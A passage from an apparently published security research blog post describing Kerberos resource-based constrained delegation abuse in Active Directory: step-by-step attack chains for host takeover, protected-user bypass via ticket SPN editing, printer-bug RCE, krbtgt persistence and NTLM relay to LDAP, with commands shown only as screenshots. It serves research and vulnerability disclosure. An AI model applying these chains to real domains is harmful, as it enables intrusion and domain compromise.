<iframe style="position:absolute;top:0;left:0;width:100%;height:100%;" src="https://www.youtube-nocookie.com/embed/7odfALcmldo?controls=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
</div>
<p><a href="https://youtu.be/7odfALcmldo" target="_blank">https://youtu.be/7odfALcmldo</a></p>
<p>Note that the resulting TGS in the S4U2Proxy response (to service B) seems to have the FORWARDABLE flag set, unless the principal is marked as sensitive for delegation or is a member of the Protected Users group.</p>
<h2 id="serendipity">Serendipity</h2>
<p>As I was testing my Rubeus modification in preparation for submitting a <a href="https://github.com/GhostPack/Rubeus/pull/7" target="_blank">pull request</a>, I reset the TrustedToAuthForDelegation UserAccountControl flag on Service A and expected to see an error message when performing S4U2Self. However, S4U2Self worked, as well as S4U2Proxy, and the resulting TGS provided me with access to Service B.</p>
<p><a href="/images/TrustedToAuthForDelegationWho/Serendipity1.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Serendipity1.png" alt="Serendipity1.png" /></a></p>
<p><a href="/images/TrustedToAuthForDelegationWho/Serendipity2.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Serendipity2.png" alt="Serendipity2.png" /></a></p>
<p>The ticket I obtained from S4U2Self was not forwardable, and still, S4U2Proxy accepted it and responded with a TGS for the user to Service B.</p>
<p><a href="/images/TrustedToAuthForDelegationWho/Serendipity3.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Serendipity3.png" alt="Serendipity3.png" /></a></p>
<p>At this point, I was wondering whether I completely misconfigured my lab environment.</p>
<p>Video demonstration of this scenario:</p>
<div style="position:relative;padding-top:56.25%;">
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%;" src="https://www.youtube-nocookie.com/embed/IZ6BJpr28r4?controls=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
</div>
<p><a href="https://youtu.be/IZ6BJpr28r4" target="_blank">https://youtu.be/IZ6BJpr28r4</a></p>
<h2 id="a-misunderstood-feature-1">A Misunderstood Feature #1</h2>
<p>After a couple more hours of testing, debugging, and reading <a href="https://msdn.microsoft.com/en-us/library/cc246071.aspx" target="_blank">MS-SFU</a>, I realised that I had misunderstood S4U2Self. It seems S4U2Self works whether the TrustedToAuthForDelegation UserAccountControl flag is set or not. However, if it is not set, the resulting TGS is not FORWARDABLE, as per <a href="https://msdn.microsoft.com/en-us/library/ff634450.aspx" target="_blank">section 3.2.5.1.2 of MS-SFU</a>:</p>
<blockquote>
<p>“If the <em>TrustedToAuthenticationForDelegation</em> parameter on the Service 1 <a href="https://msdn.microsoft.com/en-us/library/cc246073.aspx#gt_8492780e-99e2-47ba-8553-aedb8de9f9c0" target="_blank">principal</a> is set to:</p>
<ul>
<li><strong>TRUE</strong>: the KDC MUST set the FORWARDABLE <a href="https://msdn.microsoft.com/en-us/library/cc246073.aspx#gt_838d3fe1-e504-4442-93cc-75de14e6f569" target="_blank">ticket</a> flag ([RFC4120] section 2.6) in the <a href="https://msdn.microsoft.com/en-us/library/cc246073.aspx#gt_2214804a-4a44-46f4-b6d2-a78f4ff39a39" target="_blank">S4U2self</a> service ticket.</li>
<li><strong>FALSE</strong> and <em>ServicesAllowedToSendForwardedTicketsTo</em> is nonempty: the KDC MUST NOT set the FORWARDABLE ticket flag ([RFC4120] section 2.6) in the S4U2self service ticket.”</li>
</ul>
</blockquote>
<h2 id="a-misunderstood-feature-2">A Misunderstood Feature #2</h2>
<p>So, S4U2Proxy still shouldn’t have worked with a non-forwardable ticket, right?</p>
<p>When I attempted invoking S4U2Proxy with a non-forwardable TGS with classic (“outgoing”) constrained delegation, it failed. But with resource-based constrained delegation (“incoming”) it consistently worked. I thought it must be a bug, and so on 26/10/2018, I reported it to Microsoft Response Center (MSRC).</p>
<p>As I was impatiently waiting for a response, I read <a href="https://msdn.microsoft.com/en-us/library/cc246071.aspx" target="_blank">MS-SFU</a> again and found <a href="https://msdn.microsoft.com/en-us/library/ff634460.aspx" target="_blank">section 3.2.5.2</a>:</p>
<blockquote>
<p>“If the <a href="https://msdn.microsoft.com/en-us/library/cc246073.aspx#gt_b4041466-ae24-4fd4-83e4-5dbc4f32aaab" target="_blank">service ticket</a> in the <strong>additional-tickets</strong> field is not set to <a href="https://msdn.microsoft.com/en-us/library/cc246073.aspx#gt_4c6cd79b-120d-4ee1-ab24-d1b000e0b3ca" target="_blank">forwardable<20></a> and the PA-PAC-OPTIONS [167] (<a href="https://msdn.microsoft.com/en-us/library/cc233855.aspx" target="_blank">[MS-KILE]</a> section <a href="https://msdn.microsoft.com/en-us/library/hh553950.aspx" target="_blank">2.2.10</a>) padata type has the resource-based <a href="https://msdn.microsoft.com/en-us/library/cc246073.aspx#gt_b7f30547-6d3a-4224-9441-434174c2dec1" target="_blank">constrained delegation</a> bit:</p>
<ul>
<li>Not set, then the KDC MUST return KRB-ERR-BADOPTION with STATUS_NO_MATCH.</li>
<li>Set and the USER_NOT_DELEGATED bit is set in the <strong>UserAccountControl</strong> field in the <strong>KERB_VALIDATION_INFO</strong> structure (<a href="https://msdn.microsoft.com/en-us/library/cc237917.aspx" target="_blank">[MS-PAC]</a> section <a href="https://msdn.microsoft.com/en-us/library/cc237948.aspx" target="_blank">2.5</a>), then the KDC MUST return KRB-ERR-BADOPTION with STATUS_NOT_FOUND.”</li>
</ul>
</blockquote>
<p>It seems like a design flaw, also known in Microsoft parlance as a “feature”. S4U2Proxy for resource-based constrained delegation works when provided with a non-forwardable TGS by design!</p>
<p>Note that as per the above documentation, even though the TGS doesn’t have to be forwardable for resource-based constrained delegation, if the user is set as “sensitive for delegation”, S4U2Proxy will fail, which is expected.</p>
<h2 id="generic-dacl-abuse">Generic DACL Abuse</h2>
<p>These two misunderstood “features” mean that the only requirement for the ACL-based computer object takeover primitive is the DACL to configure resource-based constrained delegation on the computer object and another account. Any account with an SPN will do. Even just a TGT for the other account will be enough.</p>
<p>The reason an SPN is required is that S4U2Self does not seem to work for accounts that do not have it. But any domain user can obtain an account with an SPN by abusing the MachineAccountQuota, which is set to 10 by default, and allows creating new computer accounts. When creating the new computer account, the user can set an SPN for it, or add one later on. Kevin Robertson (<a href="https://twitter.com/kevin_robertson" target="_blank">@NetSPI</a>) implemented a tool called <a href="https://github.com/Kevin-Robertson/Powermad" target="_blank">Powermad</a> that allows doing that through LDAP.</p>
<p>The generic abuse case would work as follows:</p>
<ol>
<li>The attacker compromises an account that has an SPN or creates one (“Service A”) and the DACL to configure resource-based constrained delegation on a computer account (“Service B”).</li>
<li>The attacker configures resource-based constrained delegation from Service A to Service B.
<a href="/images/TrustedToAuthForDelegationWho/Generic1.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Generic1.png" alt="Generic1.png" /></a></li>
<li>The attacker uses Rubeus to perform a full S4U attack (S4U2Self and S4U2Proxy) from Service A to Service B for a user with privileged access to Service B.
<a href="/images/TrustedToAuthForDelegationWho/Generic2.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Generic2.png" alt="Generic2.png" /></a></li>
<li>The attacker can pass-the-ticket and impersonate the user to gain access to Service B.
<a href="/images/TrustedToAuthForDelegationWho/Generic3.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Generic3.png" alt="Generic3.png" /></a></li>
</ol>
<p>The following diagram illustrates this scenario:
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/Generic.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/Generic.png" alt="Generic.png" /></a></p>
<p>Video demonstration of this scenario:</p>
<div style="position:relative;padding-top:56.25%;">
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%;" src="https://www.youtube-nocookie.com/embed/ayavtG7J_TQ?controls=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
</div>
<p><a href="https://youtu.be/ayavtG7J_TQ" target="_blank">https://youtu.be/ayavtG7J_TQ</a></p>
<p>Note that the TGS obtained from S4U2Self in step 3 is not forwardable, and yet it is accepted as “evidence” when invoking S4U2Proxy.</p>
<h2 id="a-forwardable-result">A Forwardable Result</h2>
<p>When I inspected the resulting TGS in the S4U2Proxy response, it had the FORWARDABLE flag set. I provided S4U2Proxy with a non-forwardable TGS as “evidence” and got a forwardable TGS.</p>
<p><a href="/images/TrustedToAuthForDelegationWho/Forwardable.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Forwardable.png" alt="Forwardable.png" /></a></p>
<p>Is this a bug or a feature?</p>
<p>I went back to <a href="https://msdn.microsoft.com/en-us/library/cc246071.aspx" target="_blank">MS-SFU</a> <a href="https://msdn.microsoft.com/en-us/library/hh554124.aspx" target="_blank">section 3.2.5.2.2</a>, and found the following:</p>
<blockquote>
<p>“The <a href="https://msdn.microsoft.com/en-us/library/cc246073.aspx#gt_6e5aafba-6b66-4fdd-872e-844f142af287" target="_blank">KDC</a> MUST reply with the <a href="https://msdn.microsoft.com/en-us/library/cc246073.aspx#gt_b4041466-ae24-4fd4-83e4-5dbc4f32aaab" target="_blank">service ticket</a> where:</p>
<ul>
<li>The sname field contains the name of Service 2.</li>
<li>The realm field contains the <a href="https://msdn.microsoft.com/en-us/library/cc246073.aspx#gt_a6d72903-d1a8-4968-bd9b-bf22005e8b58" target="_blank">realm</a> of Service 2.</li>
<li>The cname field contains the cname from the service ticket in the additional-tickets field.</li>
<li>The crealm field contains the crealm from the service ticket in the additional-tickets field.</li>
<li><strong>The FORWARDABLE <a href="https://msdn.microsoft.com/en-us/library/cc246073.aspx#gt_838d3fe1-e504-4442-93cc-75de14e6f569" target="_blank">ticket</a> flag is set.</strong></li>
<li>The S4U_DELEGATION_INFO structure is in the new <a href="https://msdn.microsoft.com/en-us/library/cc246073.aspx#gt_26456104-0afb-4afe-a92e-ac160a9efdf8" target="_blank">PAC</a>.”</li>
</ul>
</blockquote>
<p>It seems like it is another great feature: <strong>every TGS produced by S4U2Proxy is always forwardable.</strong></p>
<h2 id="empowering-active-directory-objects-and-reflective-resource-based-constrained-delegation">Empowering Active Directory Objects and Reflective Resource-Based Constrained Delegation</h2>
<p>When Microsoft introduced resource-based constrained delegation, it transformed users and computers into strong, independent AD objects, which are able to configure this new “incoming” delegation for themselves. By default, all resources have an Access Control Entry (ACE) that permits them to configure resource-based constrained delegation for themselves. However, if an attacker has credentials for the account, they can forge a silver ticket and gain access to it anyway.</p>
<p>The problem with silver tickets is that, when forged, they do not have a PAC with a valid KDC signature. If the target host is configured to <a href="https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/" target="_blank">validate KDC PAC Signature</a>, the silver ticket will not work. There may also be other security solutions that can detect silver ticket usage.</p>
<p>However, if we have credentials for a computer account or even just a TGT, we can configure resource-based constrained delegation from that account to itself, and then use S4U2Self and S4U2Proxy to obtain a TGS for an arbitrary user.</p>
<p>The abuse case would work as follows:</p>
<ol>
<li>The attacker compromises credentials or a TGT for a computer account (“Service A”).</li>
<li>The attacker configures resource-based constrained delegation from Service A to itself.
<a href="/images/TrustedToAuthForDelegationWho/Reflective1.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Reflective1.png" alt="Reflective1.png" /></a></li>
<li>The attacker uses Rubeus to perform a full S4U attack and obtain a TGS for a user with privileged access to Service A.
<a href="/images/TrustedToAuthForDelegationWho/Reflective2.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Reflective2.png" alt="Reflective2.png" /></a></li>
<li>The attacker can pass-the-ticket and impersonate the user to access Service A.
<a href="/images/TrustedToAuthForDelegationWho/Reflective3.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Reflective3.png" alt="Reflective3.png" /></a></li>
</ol>
<p>The following diagram illustrates this scenario:
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/Reflective.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/Reflective.png" alt="Reflective.png" /></a></p>
<p>Video demonstration of this scenario:</p>
<div style="position:relative;padding-top:56.25%;">
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%;" src="https://www.youtube-nocookie.com/embed/63RoJrDMUFg?controls=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
</div>
<p><a href="https://youtu.be/63RoJrDMUFg" target="_blank">https://youtu.be/63RoJrDMUFg</a></p>
<p>This reflective resource-based constrained delegation is, in fact, equivalent to S4U2Self when the account has the TrustedToAuthForDelegation flag set (also known as “protocol transition”), as it allows the account to obtain a forwardable TGS for itself on behalf of users. However, if an account is configured for classic constrained delegation with “Kerberos only” (TrustedToAuthForDelegation is not set and msDS-AllowedToDelegateTo is not null), then the classic conditions take precedence over the resource-based conditions, and so S4U2Self responds with a non-forwardable TGS and S4U2Proxy fails.</p>
<p>Note that this technique will only allow obtaining a TGS for a user as long as it is not set as “sensitive for delegation” and is not a member of the Protected Users group, as you can see in the screenshots below:</p>
<p><a href="/images/TrustedToAuthForDelegationWho/Sensitive1.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Sensitive1.png" alt="Sensitive1.png" /></a></p>
<p><a href="/images/TrustedToAuthForDelegationWho/Sensitive2.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Sensitive2.png" alt="Sensitive2.png" /></a></p>
<h2 id="solving-a-sensitive-problem">Solving a Sensitive Problem</h2>
<p>Inspecting the above output closely indicates that S4U2Self works for a user marked as sensitive for delegation and a member of the Protected Users group.</p>
<p><a href="/images/TrustedToAuthForDelegationWho/Sensitive3.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Sensitive3.png" alt="Sensitive3.png" /></a></p>
<p>Closer inspection of the ticket shows that it does not have a valid service name, and it is not forwardable:</p>
<p><a href="/images/TrustedToAuthForDelegationWho/Sensitive4.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Sensitive4.png" alt="Sensitive4.png" /></a></p>
<p>But this can easily be changed because <a href="https://www.secureauth.com/blog/kerberos-delegation-spns-and-more" target="_blank">the service name is not in the encrypted part of the ticket</a>.</p>
<p>An attacker can use an ASN.1 editor to modify the SPN on the TGS obtained from S4U2Self, and turn it into a valid one.</p>
<p><a href="/images/TrustedToAuthForDelegationWho/Sensitive5.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Sensitive5.png" alt="Sensitive5.png" /></a></p>
<p>Once that is done, the attacker has a valid TGS. It is not forwardable, but it is fine for authenticating to the service:</p>
<p><a href="/images/TrustedToAuthForDelegationWho/Sensitive6.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Sensitive6.png" alt="Sensitive6.png" /></a></p>
<p>Video demonstration of this scenario:</p>
<div style="position:relative;padding-top:56.25%;">
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%;" src="https://www.youtube-nocookie.com/embed/caXFG_vAr-w?controls=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
</div>
<p><a href="https://youtu.be/caXFG_vAr-w" target="_blank">https://youtu.be/caXFG_vAr-w</a></p>
<p>So, if an attacker has credentials or a TGT for a computer account, they can obtain a TGS to that computer for any user, including sensitive/protected users, with a valid KDC signature in the PAC.</p>
<p>That means that obtaining a TGT for a computer account is sufficient to compromise the host.</p>
<h2 id="when-the-stars-align-unconstrained-delegation-leads-to-rce">When the Stars Align: Unconstrained Delegation Leads to RCE</h2>
<p>As Lee Christensen (<a href="https://twitter.com/tifkin_" target="_blank">@tifkin_</a>) demonstrated in <a href="https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory/38" target="_blank">“the printer bug” abuse case study at DerbyCon 8</a>, it is possible to trick the Printer Spooler to connect back over SMB to a specified IP/hostname, by invoking the method <a href="https://msdn.microsoft.com/en-us/library/cc244812.aspx" target="_blank">RpcRemoteFindFirstPrinterChangeNotification (Opnum 62)</a>.</p>
<p>If an attacker compromises a host with unconstrained delegation, <a href="https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory/41" target="_blank">“the printer bug”</a> abuse can result in remote code execution on any domain-joined Windows host with the Printer Spooler running.</p>
<p>The abuse case would work as follows:</p>
<ol>
<li>The attacker compromises a host with unconstrained delegation and elevates.
<a href="/images/TrustedToAuthForDelegationWho/UnconstrainedRCE1.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/UnconstrainedRCE1.png" alt="UnconstrainedRCE1.png" /></a></li>
<li>The attacker runs the monitor/harvest module of Rubeus.</li>
<li>The attacker launches <a href="https://github.com/leechristensen/SpoolSample" target="_blank">SpoolSample</a> or <a href="https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc" target="_blank">dementor.py</a> to manipulate the Printer Spooler of the target host to delegate its TGT to the unconstrained delegation compromised host.
<a href="/images/TrustedToAuthForDelegationWho/UnconstrainedRCE2.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/UnconstrainedRCE2.png" alt="UnconstrainedRCE2.png" /></a></li>
<li>The attacker can use the captured TGT to obtain a TGS to the target host for any user, even sensitive for delegation/protected users.
<a href="/images/TrustedToAuthForDelegationWho/UnconstrainedRCE3.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/UnconstrainedRCE3.png" alt="UnconstrainedRCE3.png" /></a></li>
<li>The attacker obtains a TGS to the target host for a user with local administrator rights and compromises it.
<a href="/images/TrustedToAuthForDelegationWho/UnconstrainedRCE4.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/UnconstrainedRCE4.png" alt="UnconstrainedRCE4.png" /></a>
<a href="/images/TrustedToAuthForDelegationWho/UnconstrainedRCE5.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/UnconstrainedRCE5.png" alt="UnconstrainedRCE5.png" /></a>
<a href="/images/TrustedToAuthForDelegationWho/UnconstrainedRCE6.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/UnconstrainedRCE6.png" alt="UnconstrainedRCE6.png" /></a></li>
</ol>
<p>The following diagram illustrates this scenario:
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/Unconstrained.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/Unconstrained.png" alt="Unconstrained.png" /></a></p>
<p>Video demonstration of this scenario:</p>
<div style="position:relative;padding-top:56.25%;">
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%;" src="https://www.youtube-nocookie.com/embed/XqxWHy9e_J8?controls=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
</div>
<p><a href="https://youtu.be/XqxWHy9e_J8" target="_blank">https://youtu.be/XqxWHy9e_J8</a></p>
<p>As Will Schroeder (<a href="https://twitter.com/harmj0y" target="_blank">@harmj0y</a>) explained in his blog post <a href="http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/" target="_blank">Not A Security Boundary: Breaking Forest Trusts</a>, unconstrained delegation works across forest boundaries, making this attack effective across bidirectional forest trusts.</p>
<h2 id="when-accounts-collude---trustedtoauthfordelegation-who">When Accounts Collude - TrustedToAuthForDelegation Who?</h2>
<p>For years, Active Directory security experts have been telling us that if we must configure Kerberos delegation, constrained delegation is the way to go, and that we should use “Kerberos only” rather than “any authentication protocol” (as known as “protocol transition”). But perhaps the choice between “Kerberos only” and “Any authentication protocol” does not actually matter.</p>
<p><a href="/images/TrustedToAuthForDelegationWho/TrustedToAuthForDelegation0.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/TrustedToAuthForDelegation0.png" alt="TrustedToAuthForDelegation0.png" style="width: 400px;" /></a></p>
<p>We now know that we can abuse resource-based constrained delegation to get a forwardable TGS for arbitrary users. It follows that if we have credentials (or a TGT) for an account with an SPN and for an account with classic constrained delegation but without “protocol transition”, we can combine these two “features” to mimic “protocol transition”.</p>
<p>This abuse case would work as follows:</p>
<ol>
<li>The attacker compromises an account that has an SPN or creates one (“Service A”).</li>
<li>The attacker compromises an account (“Service B”), which is set for classic constrained delegation to a certain service class at Service C with Kerberos only (TrustedToAuthForDelegation is not set on Service B, and msDS-AllowedToDelegateTo on Service B contains a service on Service C, such as “time/Service C”).</li>
<li>The attacker sets resource-based constrained delegation from Service A to Service B (setting msDS-AllowedToActOnBehalfOfOtherIdentity on Service B to contain “Service A” using Service B credentials or a TGT for Service B).
<a href="/images/TrustedToAuthForDelegationWho/TrustedToAuthForDelegation1.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/TrustedToAuthForDelegation1.png" alt="TrustedToAuthForDelegation1.png" /></a></li>
<li>The attacker uses Service A credentials/TGT to perform a full S4U2 attack and obtains a forwardable TGS for the victim to Service B.
<a href="/images/TrustedToAuthForDelegationWho/TrustedToAuthForDelegation2.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/TrustedToAuthForDelegation2.png" alt="TrustedToAuthForDelegation2.png" /></a></li>
<li>The attacker uses Service B credentials/TGT to invoke S4U2Proxy with the forwardable TGS from the previous step, and obtains a TGS for the victim to time/Service C. The attacker can modify the service class of the resulting TGS, for example from “time” to “cifs”, because <a href="https://www.secureauth.com/blog/kerberos-delegation-spns-and-more" target="_blank">the service name is not protected</a>.
<a href="/images/TrustedToAuthForDelegationWho/TrustedToAuthForDelegation3.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/TrustedToAuthForDelegation3.png" alt="TrustedToAuthForDelegation3.png" /></a>
<a href="/images/TrustedToAuthForDelegationWho/TrustedToAuthForDelegation4.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/TrustedToAuthForDelegation4.png" alt="TrustedToAuthForDelegation4.png" /></a></li>
<li>The attacker can pass-the-ticket to gain access to Service C.
<a href="/images/TrustedToAuthForDelegationWho/TrustedToAuthForDelegation5.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/TrustedToAuthForDelegation5.png" alt="TrustedToAuthForDelegation5.png" /></a></li>
</ol>
<p>The following diagram illustrates this scenario:
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/TrustedToAuthForDelegation.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/TrustedToAuthForDelegation.png" alt="TrustedToAuthForDelegation.png" /></a></p>
<p>Video demonstration of this scenario:</p>
<div style="position:relative;padding-top:56.25%;">
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%;" src="https://www.youtube-nocookie.com/embed/y37Eo9zHib8?controls=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
</div>
<p><a href="https://youtu.be/y37Eo9zHib8" target="_blank">https://youtu.be/y37Eo9zHib8</a></p>
<h2 id="unconstrained-domain-persistence">Unconstrained Domain Persistence</h2>
<p>Once attackers compromise the domain, they can obviously configure resource-based constrained delegation on strategic objects, such as domain controllers, and obtain a TGS on-demand. But resource-based constrained delegation can also be configured to generate TGTs on-demand as a domain persistence technique.</p>
<p>Once the domain is compromised, resource-based constrained delegation can be configured from a compromised account to the krbtgt account to produce TGTs.</p>
<p>The abuse case would work as follows:</p>
<ol>
<li>The attacker compromises the domain and an account that has an SPN or creates one (“Service A”).</li>
<li>The attacker configures resource-based constrained delegation from Service A to krbtgt.
<a href="/images/TrustedToAuthForDelegationWho/Persistence1.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Persistence1.png" alt="Persistence1.png" /></a></li>
<li>The attacker uses Rubeus to perform a full S4U attack and obtain a TGS for an arbitrary user to krbtgt, which is, in fact, a TGT.
<a href="/images/TrustedToAuthForDelegationWho/Persistence2.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Persistence2.png" alt="Persistence2.png" /></a>
<a href="/images/TrustedToAuthForDelegationWho/Persistence3.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Persistence3.png" alt="Persistence3.png" /></a></li>
<li>The attacker can use the TGT to request a TGS to arbitrary services.
<a href="/images/TrustedToAuthForDelegationWho/Persistence4.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Persistence4.png" alt="Persistence4.png" /></a>
<a href="/images/TrustedToAuthForDelegationWho/Persistence5.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Persistence5.png" alt="Persistence5.png" /></a></li>
</ol>
<p>The following diagram illustrates this scenario:
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/Persistence.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/Persistence.png" alt="Persistence.png" /></a></p>
<p>Video demonstration of this scenario:</p>
<div style="position:relative;padding-top:56.25%;">
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%;" src="https://www.youtube-nocookie.com/embed/1BU2BflUHxA?controls=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
</div>
<p><a href="https://youtu.be/1BU2BflUHxA" target="_blank">https://youtu.be/1BU2BflUHxA</a></p>
<p>In this scenario, the account Service A obtained a degree of power somewhat similar to that of the KDC in the sense that it can produce a TGT for arbitrary users.</p>
<p>Arguably, more subtle persistence can be achieved through a new access control entry (ACE) to allow configuring resource-based constrained delegation on-demand, rather than leaving it in plain sight.</p>
<h2 id="thinking-outisde-the-box-rcelpe-opportunities">Thinking Outisde the Box: RCE/LPE Opportunities</h2>
<p>As <a href="#when-the-stars-align-unconstrained-delegation-leads-to-rce">shown above</a>, if an attacker can compromise a host with unconstrained delegation, RCE can be achieved with <a href="https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory/41" target="_blank">“the printer bug”</a> and S4U2Self. But unconstrained delegation is not a trivial condition, so I attempted to come up with an attack chain that does not require unconstrained delegation.</p>
<p>As mentioned above, every resource has the rights to configure resource-based constrained delegation for itself, which can be done via LDAP. This primitive opens the door to RCE/LPE opportunities if an attacker is in a position to perform a successful NTLM relay of a computer account authentication to LDAP.</p>
<p>The abuse case would work as follows:</p>
<ol>
<li>The attacker compromises an account that has an SPN or creates one (“Service A”).</li>
<li>The attacker triggers a computer account authentication using a primitive such as <a href="https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory/41" target="_blank">“the printer bug”</a>.</li>
<li>The attacker performs an NTLM relay of the computer account (“Service B”) authentication to LDAP on the domain controller.</li>
<li>The attacker configures resource-based constrained delegation from Service A to Service B.</li>
<li>The attacker uses Rubeus to perform a full S4U attack and obtain a TGS to Service B for a user that has local administrator rights on that host.</li>
<li>The attacker can pass-the-ticket and gain RCE/LPE, depending on the primitive used to trigger the computer account authentication.</li>
</ol>
<p>The above scenario is straightforward and too good to be true. However, the reality is that NTLM relay is more complicated than it seems.</p>
<h2 id="ntlm-relay-101">NTLM Relay 101</h2>
<p>NetNTLM is a challenge-response authentication protocol designed by Microsoft for Windows environments. In the NetNTLM protocol, three messages are exchanged:</p>
<ol>
<li>The client sends a NEGOTIATE message to request authentication and “advertise capabilities”.</li>
<li>The server sends a CHALLENGE message that contains a random 8-byte nonce.</li>
<li>The client sends an AUTHENTICATE message that contains a response to the challenge. The response is calculated using a cryptographic function with a key derived from the user’s password (the NTLM hash).</li>
</ol>
<p>The server validates the response to the challenge. If it is valid, authentication is successful. Otherwise, authentication fails.</p>
<p>The protocol is susceptible to the following relay attack:</p>
<ol>
<li>An attacker in a man-in-the-middle position waits for an incoming NEGOTIATE message from a victim.</li>
<li>The attacker relays the NEGOTIATE message to the target server.</li>
<li>The target server sends a CHALLENGE message to the attacker.</li>
<li>The attacker relays the CHALLENGE message to the victim.</li>
<li>The victim generates a valid AUTHENTICATE message and sends it to the attacker.</li>
<li>The attacker relays the valid AUTHENTICATE message to the target server.</li>
<li>The target server accepts the AUTHENTICATE message and the attacker is authenticated successfully.</li>
</ol>
<p>The following diagram illustrates an NTLM relay attack:
<a href="/images/TrustedToAuthForDelegationWho/Diagrams/NTLM_Relay.png" target="_blank"><img src="/images/TrustedToAuthForDelegationWho/Diagrams/NTLM_Relay.png" alt="NTLM_Relay.png" /></a></p>
<p>The NetNTLM protocol does not only provide authentication but can also facilitate a session key exchange for encryption (“sealing”) and signing. The client and the server negotiate whether sealing/signing is required through certain flags in the exchanged messages. The exchanged session key is RC4 encrypted using a key derived from the client’s NTLM hash. The client obviously holds the NTLM hash and can decrypt it. However, a domain member server does not hold the NTLM hash of domain users, but only of local users. When a domain user exchanges a session key with a member server, the member server uses the Netlogon RPC protocol to validate the client’s response to the challenge with a domain controller, and if a session key was exchanged then the key to decrypt it is calculated by the domain controller and provided to the member server. This separation of knowledge ensures that the member server does not obtain the NTLM hash of the client, and the domain controller does not obtain the session key.</p>
<p>If the client and server negotiate a session key for signing, an attacker performing a relay attack can successfully authenticate, but will not be able to obtain the session key to sign subsequent messages, unless the attacker can obtain one of the following:</p>
<ol>
<li>The NTLM hash of the victim.</li>
<li>Credentials for the computer account of the target server.</li>
<li>Compromise a domain controller.</li>
</ol>
<p>However, if the attacker obtains any of the above, they do not need to perform an NTLM relay attack to compromise the target host or impersonate the victim, and this is the reason signing mitigates NTLM relay attacks.</p>
<h2 id="ntlm-relay-201">NTLM Relay 201</h2>
<p>The goal is to perform a successful relay, without negotiating signing or encryption, from any protocol to LDAP.</p>
<p>Most of the primitives I am aware of for eliciting a connection from a computer account are initiated by the SMB client or the RPC client, both of which always seem to negotiate signing. If signing was negotiated in the NTLM exchange, the LDAP service on domain controllers ignores all unsigned messages (tested on Windows Server 2016 and Windows Server 2012R2).</p>
